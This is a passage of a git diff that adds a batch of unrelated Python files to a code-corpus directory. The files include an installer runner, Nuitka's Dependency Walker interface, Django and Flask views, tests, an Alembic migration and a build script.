+            if 'chat_id' in message:
+                print_help(message['chat_id'], 'c')
+            else:
+                print_help(message['user_id'])
+    sleep(4)
+    
\ No newline at end of file
diff --git a/pool/shard000/Python/0007824_python273_altinstall.py b/pool/shard000/Python/0007824_python273_altinstall.py
new file mode 100644
index 0000000000000000000000000000000000000000..75dd68a1bbfef5373a5bf8624c393a3f50005b75
--- /dev/null
+++ b/pool/shard000/Python/0007824_python273_altinstall.py
@@ -0,0 +1,84 @@
+#!/usr/bin/python2.6
+
+import sys
+import os
+import datetime
+import datestring_functions
+import redhat.pythonsetup
+import redhat.altinstall
+
+# NOTE:
+# This script is meant to be run under Python 2.6.6 (the default version on 
+# RHEL 6 x64) in order to make and install Python 2.7.3 as an altinstall.
+
+def logfile_open(scripttype):
+    """
+    Returns an open logfile with a timestamp. It is left to the 
+    calling function to write to the file and close it.
+    
+    This function will terminate the calling function if an IOError 
+    occurs while opening the file.
+    
+    Parameters:
+        1. scripttype: A string describing the installation script
+           that is being run.
+    """
+    rundir = os.getcwd()
+    logsdir = "/install/logs/"
+    prefix = "install_" + scripttype + "_"
+    dt = datetime.datetime
+    date_suffix = "null"
+    try:
+        date_suffix = datestring_functions.datestring(dt)
+    except ValueError as ve:
+        print "ValueError:\n %s" % ve
+        print "Bad datetime object, could not generate logfile name."
+        print "Script will terminate."
+        exit(1)
+    # Assumes rundir is not terminated with a "/"
+    logfile_path = rundir + logsdir + prefix + date_suffix + ".log"
+    
+    try:
+        logfile = open(logfile_path, 'w')
+        return logfile
+    except IOError as ioe:
+        print "IOError:\n %s" % ioe
+        print "Could not open logfile at %s for writing." % logfile_path
+        print "Script will terminate."
+        exit(1)
+
+def scriptrunner(scripttype, logfile):
+    """
+    Chooses and runs an installation script, and which logfile 
+    that script will write its output to.
+    
+    Parameters:
+        1. scripttype: A string describing the installation script
+           that is being run.
+           Supported values: "pythonsetup", "altinstall"
+        2. logfile: The logfile to pass to the installation script.
+    """ 
+    if scripttype == "pythonsetup":
+        logfile = redhat.pythonsetup.run(logfile)
+    elif scripttype == "altinstall":
+        logfile = redhat.altinstall.run(logfile)
+    else:
+        logfile.write("Error: python273_altinstall.py invoked with invalid command: %s" % scripttype)
+        print "Error: python273_altinstall.py invoked with invalid command: %s" % scripttype
+    return logfile
+
+def main():
+    if len(sys.argv) != 2:
+        print "Usage: python273_altinstall.py < --pythonsetup | --altinstall >"
+        print "--pythonsetup: Install packages needed to build Python 2.7.3 from source."
+        print "--altinstall: Build and install Python 2.7.3 as an altinstall."
+    else:
+        args = sys.argv[1:]
+        scripttype = args[0].strip()[2:]
+        
+        logfile = logfile_open(scripttype)
+        logfile = scriptrunner(scripttype,logfile)
+        logfile.close()
+
+if __name__ == '__main__':
+    main()
diff --git a/pool/shard000/Python/0007829_DependsExe.py b/pool/shard000/Python/0007829_DependsExe.py
new file mode 100644
index 0000000000000000000000000000000000000000..915f346b86e79ed5ef8df8c05bddbc38498da09b
--- /dev/null
+++ b/pool/shard000/Python/0007829_DependsExe.py
@@ -0,0 +1,192 @@
+#     Copyright 2021, Kay Hayen, mailto:kay.hayen@gmail.com
+#
+#     Part of "Nuitka", an optimizing Python compiler that is compatible and
+#     integrates with CPython, but also works on its own.
+#
+#     Licensed under the Apache License, Version 2.0 (the "License");
+#     you may not use this file except in compliance with the License.
+#     You may obtain a copy of the License at
+#
+#        http://www.apache.org/licenses/LICENSE-2.0
+#
+#     Unless required by applicable law or agreed to in writing, software
+#     distributed under the License is distributed on an "AS IS" BASIS,
+#     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#     See the License for the specific language governing permissions and
+#     limitations under the License.
+#
+""" Interface to depends.exe on Windows.
+
+We use depends.exe to investigate needed DLLs of Python DLLs.
+
+"""
+
+import os
+import subprocess
+
+from nuitka.containers.oset import OrderedSet
+from nuitka.Options import assumeYesForDownloads
+from nuitka.Tracing import inclusion_logger
+from nuitka.utils.Download import getCachedDownload
+from nuitka.utils.Execution import getNullInput
+from nuitka.utils.FileOperations import (
+    deleteFile,
+    getExternalUsePath,
+    getFileContentByLine,
+    withFileLock,
+)
+from nuitka.utils.Utils import getArchitecture
+
+
+def getDependsExePath():
+    """Return the path of depends.exe (for Windows).
+
+    Will prompt the user to download if not already cached in AppData
+    directory for Nuitka.
+    """
+    if getArchitecture() == "x86":
+        depends_url = "https://dependencywalker.com/depends22_x86.zip"
+    else:
+        depends_url = "https://dependencywalker.com/depends22_x64.zip"
+
+    return getCachedDownload(
+        url=depends_url,
+        is_arch_specific=True,
+        binary="depends.exe",
+        flatten=True,
+        specifity="",  # Note: If there ever was an update, put version here.
+        message="""\
+Nuitka will make use of Dependency Walker (https://dependencywalker.com) tool
+to analyze the dependencies of Python extension modules.""",
+        reject="Nuitka does not work in --standalone or --onefile on Windows without.",
+        assume_yes_for_downloads=assumeYesForDownloads(),
+    )
+
+
+def _parseDependsExeOutput2(lines):
+    result = OrderedSet()
+
+    inside = False
+    first = False
+
+    for line in lines:
+        if "| Module Dependency Tree |" in line:
+            inside = True
+            first = True
+            continue
+
+        if not inside:
+            continue
+
+        if "| Module List |" in line:
+            break
+
+        if "]" not in line:
+            continue
+
+        dll_filename = line[line.find("]") + 2 :].rstrip()
+        dll_filename = os.path.normcase(dll_filename)
+
+        # Skip DLLs that failed to load, apparently not needed anyway.
+        if "E" in line[: line.find("]")]:
+            continue
+
+        # Skip missing DLLs, apparently not needed anyway.
+        if "?" in line[: line.find("]")]:
+            # One exception are PythonXY.DLL
+            if dll_filename.startswith("python") and dll_filename.endswith(".dll"):
+                dll_filename = os.path.join(
+                    os.environ["SYSTEMROOT"],
+                    "SysWOW64" if getArchitecture() == "x86_64" else "System32",
+                    dll_filename,
+                )
+                dll_filename = os.path.normcase(dll_filename)
+            else:
+                continue
+
+        dll_filename = os.path.abspath(dll_filename)
+
+        dll_name = os.path.basename(dll_filename)
+
+        # Ignore this runtime DLL of Python2, will be coming via manifest.
+        if dll_name in ("msvcr90.dll",):
+            continue
+
+        # The executable itself is of course exempted. We cannot check its path
+        # because depends.exe mistreats unicode paths.
+        if first:
+            first = False
+            continue
+
+        assert os.path.isfile(dll_filename), (dll_filename, line)
+
+        result.add(os.path.normcase(os.path.abspath(dll_filename)))
+
+    return result
+
+
+def parseDependsExeOutput(filename):
+    return _parseDependsExeOutput2(getFileContentByLine(filename, encoding="latin1"))
+
+
+def detectDLLsWithDependencyWalker(binary_filename, scan_dirs):
+    dwp_filename = binary_filename + ".dwp"
+    output_filename = binary_filename + ".depends"
+
+    # User query should only happen once if at all.
+    with withFileLock(
+        "Finding out dependency walker path and creating DWP file for %s"
+        % binary_filename
+    ):
+        depends_exe = getDependsExePath()
+
+        # Note: Do this under lock to avoid forked processes to hold
+        # a copy of the file handle on Windows.
+        with open(dwp_filename, "w") as dwp_file:
+            dwp_file.write(
+                """\
+%(scan_dirs)s
+SxS
+"""
+                % {
+                    "scan_dirs": "\n".join(
+                        "UserDir %s" % getExternalUsePath(dirname)
+                        for dirname in scan_dirs
+                    )
+                }
+            )
+
+    # Starting the process while locked, so file handles are not duplicated.
+    depends_exe_process = subprocess.Popen(
+        (
+            depends_exe,
+            "-c",
+            "-ot%s" % output_filename,
+            "-d:%s" % dwp_filename,
+            "-f1",
+            "-pa1",
+            "-ps1",
+            binary_filename,
+        ),
+        stdin=getNullInput(),
+        cwd=getExternalUsePath(os.getcwd()),
+    )
+
+    # TODO: Exit code should be checked.
+    depends_exe_process.wait()
+
+    if not os.path.exists(output_filename):
+        inclusion_logger.sysexit(
+            "Error, depends.exe failed to produce expected output."
+        )
+
+    # Opening the result under lock, so it is not getting locked by new processes.
+
+    # Note: Do this under lock to avoid forked processes to hold
+    # a copy of the file handle on Windows.
+    result = parseDependsExeOutput(output_filename)
+
+    deleteFile(output_filename, must_exist=True)
+    deleteFile(dwp_filename, must_exist=True)
+
+    return result
diff --git a/pool/shard000/Python/0007835_extractor_xpath.py b/pool/shard000/Python/0007835_extractor_xpath.py
new file mode 100644
index 0000000000000000000000000000000000000000..a1a78676b87e0f98fb402c4ea7a27e2f051ffb7a
--- /dev/null
+++ b/pool/shard000/Python/0007835_extractor_xpath.py
@@ -0,0 +1,30 @@
+
+from xcrawler.pythonutils.converters.string_converter import StringConverter
+from xcrawler.collections.collection_factory import CollectionFactory
+
+
+class ExtractorXPath(object):
+    """Extracts data from an instance of an Element object with XPath expressions.
+
+    Attributes:
+        root_element (Element): an instance of an Element object that contains nested Elements.
+        collection_factory (CollectionFactory): creates a collection of the specified type.
+        string_converter(StringConverter): converts a string to an unicode string.
+    """
+    def __init__(self,
+                 root_element=None,
+                 collection_factory=CollectionFactory(),
+                 string_converter=StringConverter()):
+        self.root_element = root_element
+        self.collection_factory = collection_factory
+        self.string_converter = string_converter
+
+    def xpath(self, path):
+        """
+        :param path: the XPath expression.
+        :returns: a FallbackList of elements that match the XPath expression.
+        """
+        path = self.string_converter.convert_to_unicode_string(path)
+        result = self.root_element.xpath(path)
+        result = self.collection_factory.create_fallback_list(result)
+        return result
diff --git a/pool/shard000/Python/0007839_urls.py b/pool/shard000/Python/0007839_urls.py
new file mode 100644
index 0000000000000000000000000000000000000000..116aa9297bdb95d5c64a9c10e21a3dced65273d1
--- /dev/null
+++ b/pool/shard000/Python/0007839_urls.py
@@ -0,0 +1,12 @@
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    url(r'^$', views.SpamList.as_view(), name='spam'),
+    url(r'^user/id-(?P<user_id>[a-z0-9]+)/$', views.UserSpamList.as_view(),
+        name='user_spam'),
+    url(r'^id-(?P<spam_id>[a-z0-9]+)/$', views.SpamDetail.as_view(),
+        name='detail'),
+    url(r'^id-(?P<spam_id>[a-z0-9]+)/email/$', views.email, name='email'),
+]
diff --git a/pool/shard000/Python/0007841_HeadHTTPRedirectHandler.py b/pool/shard000/Python/0007841_HeadHTTPRedirectHandler.py
new file mode 100644
index 0000000000000000000000000000000000000000..f50205ac5286d32372f4124c9a46a5a1c74ac4c5
--- /dev/null
+++ b/pool/shard000/Python/0007841_HeadHTTPRedirectHandler.py
@@ -0,0 +1,23 @@
+import urllib.request
+
+# We need to define a custom handler for 'urllib' in order to correctly handle
+# HTTP HEAD requests.
+# Based on code from original source: https://filippo.io/send-a-head-request-in-python/
+class HeadHTTPRedirectHandler(urllib.request.HTTPRedirectHandler):
+    """
+    Subclass the HTTPRedirectHandler to make it use our
+    HeadRequest also on the redirected URL
+    """
+    def redirect_request(self, req, fp, code, msg, headers, newurl):
+        if code in (301, 302, 303, 307):
+            newurl = newurl.replace(' ', '%20')
+            return HeadRequest(newurl,
+                               headers=req.headers,
+                               origin_req_host=req.origin_req_host,
+                               unverifiable=True)
+        else:
+            raise urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)
+
+class HeadRequest(urllib.request.Request):
+    def get_method(self):
+        return "HEAD"
diff --git a/pool/shard000/Python/0007844_category.py b/pool/shard000/Python/0007844_category.py
new file mode 100644
index 0000000000000000000000000000000000000000..b95d8a723cc06566b66635a91d3690e02e3b5f24
--- /dev/null
+++ b/pool/shard000/Python/0007844_category.py
@@ -0,0 +1,99 @@
+#!/usr/bin/env python
+# 2015 Copyright (C) White
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, version 2 of the License.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+
+from flask import render_template, redirect, url_for
+
+from flask import g, request, current_app
+from flask import jsonify
+from flask import session
+
+from white.controller import admin_bp as bp, ADMIN, EDITOR
+from white.security import security
+from white.orm import Backend
+from white.model import Category
+
+from white.domain.category import CategoryService
+from white.lang import text
+from white.flash import flash
+from white.lib.validator import Validator
+
+category_service = CategoryService()
+
+
+@bp.route('/category')
+@bp.route('/category/<int:page>')
+@security(ADMIN)
+def category_page(page=1):
+    pagination = category_service.page(page)
+    return render_template('admin/category/index.html',
+                           categories=pagination)
+
+
+@bp.route('/category/add', methods=['GET', 'POST'])
+@security(ADMIN)
+def category_add():
+    if request.method == 'GET':
+        return render_template('admin/category/add.html')
+
+    reqp = request.form
+    title = reqp.get('title')
+    slug = reqp.get('slug')
+    description = reqp.get('description')
+
+    validator = Validator()
+    validator.check(title, 'min', text('category.title_missing'), 1)
+    if validator.errors:
+        flash(validator.errors, 'error')
+        return render_template('admin/category/add.html')
+
+    category_service.add_category(title, slug, description)
+    return redirect(url_for('admin.category_page'))
+
+
+@bp.route('/category/<int:category_id>/edit', methods=['GET', 'POST'])
+@security(ADMIN)
+def category_edit(category_id):
+    if request.method == 'GET':
+        category = category_service.get_by_cid(category_id)
+        return render_template('admin/category/edit.html', category=category)
+
+    p = request.form.get
+    title = p('title')
+    slug = p('slug')
+    description = p('description')
+
+    validator = Validator()
+    validator.check(title, 'min', text('category.title_missing'), 1)
+    if validator.errors:
+        flash(validator.errors, 'error')
+        return redirect(url_for('admin.category_edit', category_id=category_id))
+
+    category = category_service.update_category(
+        category_id, title, slug, description)
+    flash(text('category.updated'), 'success')
+    return redirect(url_for('admin.category_edit', category_id=category.cid))
+
+
+@bp.route('/category/<int:category_id>/delete', methods=['GET', 'POST'])
+@security(ADMIN)
+def category_delete(category_id):
+    if category_id == 1:
+        flash('The Uncategory cann\'t delete', 'error')
+        return redirect(url_for('admin.category_page'))
+
+    category_service.delete(category_id)
+    flash(text('category.deleted'), 'success')
+    return redirect(url_for('admin.category_page'))
diff --git a/pool/shard000/Python/0007854_views.py b/pool/shard000/Python/0007854_views.py
new file mode 100644
index 0000000000000000000000000000000000000000..92ada72deea98979c941c88045aa73e23c6bfbcc
--- /dev/null
+++ b/pool/shard000/Python/0007854_views.py
@@ -0,0 +1,50 @@
+"""Views for the outlets app."""
+from django.core.urlresolvers import reverse
+from django.http import Http404
+from django.views.generic import DetailView, ListView
+from django.shortcuts import get_object_or_404, redirect
+
+from . import models
+
+
+class OutletsListView(ListView):
+    """Lists the outlets of one country."""
+    model = models.Outlet
+
+    def dispatch(self, request, *args, **kwargs):
+        slug = kwargs.get('slug', '')
+        self.all_countries = models.OutletCountry.objects.all()
+        if slug:
+            self.country = get_object_or_404(models.OutletCountry, slug=slug)
+        else:
+            try:
+                first_country = self.all_countries[0]
+            except IndexError:
+                raise Http404
+            else:
+                return redirect(reverse('outlets_list', kwargs={
+                    'slug': first_country.slug}))
+        return super(OutletsListView, self).dispatch(request, *args, **kwargs)
+
+    def get_queryset(self):
+        return self.model.objects.filter(country=self.country)
+
+    def get_context_data(self, **kwargs):
+        ctx = super(OutletsListView, self).get_context_data(**kwargs)
+        ctx.update({
+            'country': self.country,
+            'all_countries': self.all_countries,
+        })
+        return ctx
+
+
+class MapMarkerInfoboxAJAXView(DetailView):
+    """Renders the template for the map marker information bubble."""
+    model = models.Outlet
+    template_name = 'outlets/outlet_map_marker.html'
+
+    def dispatch(self, request, *args, **kwargs):
+        if not request.is_ajax():
+            raise Http404
+        return super(MapMarkerInfoboxAJAXView, self).dispatch(
+            request, *args, **kwargs)
diff --git a/pool/shard000/Python/0007856_test_default_controller.py b/pool/shard000/Python/0007856_test_default_controller.py
new file mode 100644
index 0000000000000000000000000000000000000000..976d5446b78c5b6dcea38e0e329e20e23cd8671d
--- /dev/null
+++ b/pool/shard000/Python/0007856_test_default_controller.py
@@ -0,0 +1,87 @@
+# coding: utf-8
+
+from __future__ import absolute_import
+
+from swagger_server.models.asset import Asset
+from swagger_server.models.asset_details import AssetDetails
+from swagger_server.models.error_model import ErrorModel
+from . import BaseTestCase
+from six import BytesIO
+from flask import json
+
+
+class TestDefaultController(BaseTestCase):
+    """ DefaultController integration test stubs """
+
+    def test_add_asset(self):
+        """
+        Test case for add_asset
+
+
+        """
+        passcase = {
+            "class": "dish",
+            "name": "name_example",
+            "type": "antenna"
+        }
+        asset = Asset().from_dict(passcase)
+        headers = [('X-User', 'admin')]
+        response = self.client.open('/api/assets',
+                                    method='POST',
+                                    data=json.dumps(asset),
+                                    headers=headers,
+                                    content_type='application/json')
+        self.assert200(response, "Response body is : " +
+                       response.data.decode('utf-8'))
+
+    def test_find_asset_by_name(self):
+        """
+        Test case for find_asset_by_name
+
+
+        """
+        response = self.client.open('/api/assets/{name}'.format(name='name_example'),
+                                    method='GET',
+                                    content_type='application/json')
+        self.assert200(response, "Response body is : " +
+                       response.data.decode('utf-8'))
+
+    def test_find_assets(self):
+        """
+        Test case for find_assets
+
+
+        """
+        query_string = [('tags', 'antenna')]
+        response = self.client.open('/api/assets',
+                                    method='GET',
+                                    content_type='application/json',
+                                    query_string=query_string)
+        self.assert200(response, "Response body is : " +
+                       response.data.decode('utf-8'))
+
+    def test_update_asset_by_name(self):
+        """
+        Test case for update_asset_by_name
+
+
+        """
+        passcase = {
+            "type": "diameter",
+            "value": "23.3455"
+        }
+
+        assetDetails = [AssetDetails().from_dict(passcase)]
+        headers = [('X-User', 'admin')]
+        response = self.client.open('/api/assets/{name}'.format(name='name_example'),
+                                    method='PATCH',
+                                    data=json.dumps(assetDetails),
+                                    headers=headers,
+                                    content_type='application/json')
+        self.assert200(response, "Response body is : " +
+                       response.data.decode('utf-8'))
+
+
+if __name__ == '__main__':
+    import unittest
+    unittest.main()
diff --git a/pool/shard000/Python/0007857_43e49e93f5d_m2m_change.py b/pool/shard000/Python/0007857_43e49e93f5d_m2m_change.py
new file mode 100644
index 0000000000000000000000000000000000000000..351dbf3fbd6bd429bbc621c8e940774fcfa904b7
--- /dev/null
+++ b/pool/shard000/Python/0007857_43e49e93f5d_m2m_change.py
@@ -0,0 +1,124 @@
+"""M2M Change
+
+Revision ID: 43e49e93f5d
+Revises: 59333101ef2
+Create Date: 2014-04-10 15:36:40.970441
+
+"""
+
+# revision identifiers, used by Alembic.
+revision = '43e49e93f5d'
+down_revision = '59333101ef2'
+
+from datetime import datetime
+
+from alembic import op
+import sqlalchemy as sa
+
+
+def upgrade():
+
+    connection = op.get_bind()
+
+    # Create the device_series table as per the default alembic generated code.
+    op.create_table(
+        'device_series',
+        sa.Column('id', sa.Integer(), nullable=False),
+        sa.Column('created_at', sa.DateTime(), nullable=False),
+        sa.Column('series_id', sa.Integer(), nullable=False),
+        sa.Column('device_id', sa.Integer(), nullable=False),
+        sa.ForeignKeyConstraint(['device_id'], ['device.id'], ),
+        sa.ForeignKeyConstraint(['series_id'], ['series.id'], ),
+        sa.PrimaryKeyConstraint('id'),
+        sa.UniqueConstraint('series_id', 'device_id', name='_series_device_uc')
+    )
+
+    # Add the relation to the new table in data_point, but remove the
+    # nullable=False parameter. We need to allow nulls initially.
+    op.add_column('data_point', sa.Column('device_series_id', sa.Integer()))
+
+    # Create two hybrid tables that represent the new table and the old
+    # data_point table with the new relationship column.
+    data_point_migrator = sa.Table(
+        'data_point',
+        sa.MetaData(),
+        sa.Column('id', sa.Integer(), nullable=False),
+        sa.Column('created_at', sa.DateTime(), nullable=False),
+        sa.Column('value', sa.Numeric(), nullable=False),
+        sa.Column('series_id', sa.Integer(), nullable=True),
+        sa.Column('device_id', sa.Integer(), nullable=True),
+        sa.Column('device_series_id', sa.Integer(), nullable=True),
+    )
+
+    device_series_migrator = sa.Table(
+        'device_series',
+        sa.MetaData(),
+        sa.Column('id', sa.Integer(), nullable=False),
+        sa.Column('created_at', sa.DateTime(), nullable=False),
+        sa.Column('series_id', sa.Integer(), nullable=True),
+        sa.Column('device_id', sa.Integer(), nullable=True),
+    )
+
+    # We know the unique constraint on device_services, so store them as we go
+    # to make things a bit faster.
+    seen_device_series = {}
+
+    # Iterate through all of the data points. We want to extract the relation
+    # on data_point to series and device and put it in the new device_series
+    # table.
+    for data_point in connection.execute(data_point_migrator.select()):
+
+        # Pull the data from data_point.
+        s_id = data_point.series_id
+        d_id = data_point.device_id
+
+        # Insert into device_series if it doesn't already exist.
+        if (s_id, d_id) not in seen_device_series:
+
+            # Simple insert, just use utcnow - we don't care much about that
+            # it will be more useful for future inserts.
+            connection.execute(
+                device_series_migrator.insert()
+                .values(series_id=s_id, device_id=d_id,
+                        created_at=datetime.utcnow()))
+
+            # After inserting, grab it back. We need to get the ID.
+            r = connection.execute(
+                device_series_migrator
+                .select().where(
+                    device_series_migrator.c.series_id == s_id,
+                ).where(
+                    device_series_migrator.c.device_id == d_id
+                ))
+
+            # cache the result for future iterations.
+            seen_device_series[(s_id, d_id)] = dict(r.first())
+
+        device_series = seen_device_series[(s_id, d_id)]
+
+        # Update the data_point table to populate the new device_series_id.
+        connection.execute(
+            data_point_migrator.update().where(
+                data_point_migrator.c.id == data_point.id
+            ).values(
+                device_series_id=device_series['id']
+            )
+        )
+
+    # Ok, now its fully populated. Disable nulls on the col. If there are still
+    # nulls we will get an error here, so its a good sanity check.
+    op.alter_column('data_point', 'device_series_id', nullable=False)
+
+    # Finally, drop the two original columns as per the end of the original
+    # alembic code.
+    op.drop_column('data_point', 'series_id')
+    op.drop_column('data_point', 'device_id')
+
+
+def downgrade():
+    op.add_column(
+        'data_point', sa.Column('device_id', sa.INTEGER(), nullable=True))
+    op.add_column(
+        'data_point', sa.Column('series_id', sa.INTEGER(), nullable=True))
+    op.drop_column('data_point', 'device_series_id')
+    op.drop_table('device_series')
diff --git a/pool/shard000/Python/0007863_init__.py b/pool/shard000/Python/0007863_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..041a771ca9abc2a54eee2c2b4e94d8a8412f0db9
--- /dev/null
+++ b/pool/shard000/Python/0007863_init__.py
@@ -0,0 +1,30 @@
+# Copyright 2013-2017 Luc Saffre
+# License: BSD (see file COPYING for details)
+
+"""
+Lino-Welfare extension of :mod:`lino_xl.lib.contacts`
+"""
+
+from lino_xl.lib.contacts import Plugin
+
+from django.utils.text import format_lazy
+from django.utils.translation import ugettext_lazy as _
+
+
+class Plugin(Plugin):
+
+    use_vcard_export = False
+    
+    extends_models = ['Partner', 'Person', 'Company']
+
+    def setup_main_menu(self, site, user_type, main):
+        m = main.add_menu(self.app_label, self.verbose_name)
+        m.add_action('contacts.Persons')
+        m.add_action(
+            'pcsw.Clients',
+            label=format_lazy(u"{}{}",
+                u' \u25b6 ', site.modules.pcsw.Clients.label))
+        m.add_action('contacts.Companies')
+        m.add_separator('-')
+        m.add_action('contacts.Partners', label=_("Partners (all)"))
+
diff --git a/pool/shard000/Python/0007870_add_records.py b/pool/shard000/Python/0007870_add_records.py
new file mode 100644
index 0000000000000000000000000000000000000000..e476a3423920d74fed166184e7167799e2eaf660
--- /dev/null
+++ b/pool/shard000/Python/0007870_add_records.py
@@ -0,0 +1,32 @@
+# -*- coding: utf-8 -*-
+
+from django.core.management.base import BaseCommand
+from django.db.utils import IntegrityError
+from isgtool.contrib import log
+from www.models import UserNotificationRecord, UserNotification
+
+
+class Command(BaseCommand):
+    help = 'Import user notification records'
+
+    def add_arguments(self, parser):
+        parser.add_argument('file_name', help='UID list\'s file name')
+
+    def handle(self, *args, **options):
+        logger = log(self)
+        logger.info(u'Start records import')
+        notification = UserNotification.objects.get_active()
+        logger.info(u'Active notification: {}'.format(notification.name))
+        counter = 0
+        for line in open(options['file_name']):
+            uid = line.strip()
+            logger.debug(u'Create record for the UID {}'.format(uid))
+            try:
+                record = UserNotificationRecord.objects.create(uid=uid, notification=notification)
+            except IntegrityError:
+                logger.debug(u'UID {} already exists'.format(uid))
+            else:
+                logger.debug(u'Create record #{0} for the UID {1}'.format(record.id, uid))
+                counter += 1
+
+        logger.info(u'Records import finished. {0} new items were imported.'.format(counter))
\ No newline at end of file
diff --git a/pool/shard000/Python/0007881_build.py b/pool/shard000/Python/0007881_build.py
new file mode 100644
index 0000000000000000000000000000000000000000..59695d98c53a70f9f205db9fc197f57a6844aa52
--- /dev/null
+++ b/pool/shard000/Python/0007881_build.py
@@ -0,0 +1,57 @@
+from pybuilder.core import use_plugin, init, Author
+
+use_plugin("python.install_dependencies")
+use_plugin("python.core")
+use_plugin("python.unittest")
+use_plugin("python.distutils")
+use_plugin('copy_resources')
+#use_plugin('filter_resources')
+
+authors = [Author('Marco Hoyer', 'marco_hoyer@gmx.de')]
+description = """checl_graphite: a nagios/icinga  plugin checking graphite metrics.
+
+for more documentation, visit https://github.com/marco-hoyer/check_graphite
+"""
+
+name = 'check_graphite'
+license = 'GNU GPL v3'
+summary = 'check_graphite - graphite metrics check plugin'
+url = 'https://github.com/marco-hoyer/check_graphite'
+version = '1.0'
+
+default_task = ['publish']
+
+@init
+def initialize(project):
+    
+    project.depends_on("urllib2")
+    project.depends_on("argparse")
+    project.build_depends_on("unittest2")
+    
+    project.set_property('copy_resources_target', '$dir_dist')
+    project.get_property('copy_resources_glob').append('setup.cfg')
+
+    project.set_property('distutils_classifiers', [
+        'Development Status :: 4 - Beta',
+        'Environment :: Web Environment',
+        'Intended Audience :: Developers',
+        'Intended Audience :: System Administrators',
+        'Programming Language :: Python',
+        'Natural Language :: English',
+        'Operating System :: POSIX :: Linux',
+        'Topic :: System :: Monitoring',
+        'Programming Language :: Python :: 2.6',
+        'Programming Language :: Python :: 2.7',
+        'Programming Language :: Python :: 3',
+        'License :: OSI Approved :: MIT License',
+    ])
+
+
+@init(environments='teamcity')
+def set_properties_for_teamcity_builds(project):
+    import os
+
+    project.version = '%s-%s' % (project.version, os.environ.get('BUILD_NUMBER', 0))
+    project.default_task = ['install_dependencies', 'package']
+    project.set_property('install_dependencies_use_mirrors', False)
+    project.get_property('distutils_commands').append('bdist_rpm')
diff --git a/pool/shard000/Python/0007885_plot.py b/pool/shard000/Python/0007885_plot.py
new file mode 100644
index 0000000000000000000000000000000000000000..0a725706eb3e23427f8c2dd6b8116a79ecd0c5a5
--- /dev/null
+++ b/pool/shard000/Python/0007885_plot.py
@@ -0,0 +1,13 @@
+import matplotlib.pyplot as plt
+import numpy as np
+import sys
+
+filename = sys.argv[1]
+
+data = np.loadtxt(filename)
+
+plt.figure()
+plt.hist(data)
+plt.xlabel("# emulations (mean/std=" + str(round(np.mean(data),1)) + "/" + str(round(np.std(data),1)) + ")")
+plt.ylabel("p")
+plt.show()
diff --git a/pool/shard000/Python/0007897_test_single_NON.py b/pool/shard000/Python/0007897_test_single_NON.py
new file mode 100644
index 0000000000000000000000000000000000000000..073fb25a446536e30f4db9ab598a145b3d6945fe
--- /dev/null
+++ b/pool/shard000/Python/0007897_test_single_NON.py
@@ -0,0 +1,39 @@
+import logging
+import testUtils as utils
+
+import time
+import threading
+
+from conftest import IPADDRESS1, \
+                     RESOURCE, \
+                     DUMMYVAL, \
+                     OSCORECLIENTCONTEXT
+from coap     import coapDefines as d, \
+                     coapOption as o, \
+                     coapObjectSecurity as oscore
+
+#============================ logging ===============================
+
+log = logging.getLogger(utils.getMyLoggerName())
+log.addHandler(utils.NullHandler())
+    
+#============================ tests ===========================================
+
+def test_GET(logFixture,snoopyDispatcher,twoEndPoints):
+    
+    (coap1,coap2, securityEnabled) = twoEndPoints
+
+    options = []
+    if securityEnabled:
+        context = oscore.SecurityContext(OSCORECLIENTCONTEXT)
+
+        options = [o.ObjectSecurity(context=context)]
+    
+    # have coap2 do a get
+    reply = coap2.GET(
+        uri         = 'coap://[{0}]:{1}/{2}/'.format(IPADDRESS1,d.DEFAULT_UDP_PORT,RESOURCE),
+        confirmable = False,
+        options=options,
+    )
+    assert reply==DUMMYVAL
+    
diff --git a/pool/shard000/Python/0007900_test_cli.py b/pool/shard000/Python/0007900_test_cli.py
new file mode 100644
index 0000000000000000000000000000000000000000..4452bca1aa1c84afe92ab463786b1ea9f3172f3e
--- /dev/null
+++ b/pool/shard000/Python/0007900_test_cli.py
@@ -0,0 +1,32 @@
+import unittest
+
+import pyperf
+from pyperf import _cli as cli
+
+
+class CLITests(unittest.TestCase):
+    def test_format_result(self):
+        run = pyperf.Run([1.0, 1.5, 2.0],
+                         warmups=[(1, 3.0)],
+                         metadata={'name': 'mybench'},
+                         collect_metadata=False)
+        bench = pyperf.Benchmark([run])
+        self.assertEqual(cli.format_result_value(bench),
+                         '1.50 sec +- 0.50 sec')
+        self.assertEqual(cli.format_result(bench),
+                         'Mean +- std dev: 1.50 sec +- 0.50 sec')
+
+    def test_format_result_calibration(self):
+        run = pyperf.Run([], warmups=[(100, 1.0)],
+                         metadata={'name': 'bench', 'loops': 100},
+                         collect_metadata=False)
+        bench = pyperf.Benchmark([run])
+        self.assertEqual(cli.format_result_value(bench),
+                         '<calibration: 100 loops>')
+        self.assertEqual(cli.format_result(bench),
+                         'Calibration: 100 loops')
+        self.assertRaises(ValueError, bench.median)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/pool/shard000/Python/0007904_sample.py b/pool/shard000/Python/0007904_sample.py
new file mode 100644
index 0000000000000000000000000000000000000000..c60c859b35c6765736bf9323d219a6e37a50a465
--- /dev/null
+++ b/pool/shard000/Python/0007904_sample.py
@@ -0,0 +1,187 @@
+from builtins import str, range
+
+import os
+import sys
+import tempfile
+import pickle
+
+import numpy as np
+
+from peri import states, util
+from peri.mc import samplers, engines, observers
+
+from peri.logger import log
+log = log.getChild("mc.sample")
+
+#=============================================================================
+# Sampling methods that run through blocks and sample
+#=============================================================================
+def sample_state(state, blocks, stepout=1, slicing=True, N=1, doprint=False, procedure='uniform'):
+    eng = engines.SequentialBlockEngine(state)
+    opsay = observers.Printer()
+    ohist = observers.HistogramObserver(block=blocks)
+    eng.add_samplers([
+        samplers.SliceSampler1D(stepout, block=b, procedure=procedure)
+        for b in util.listify(blocks)
+    ])
+
+    eng.add_likelihood_observers(opsay) if doprint else None
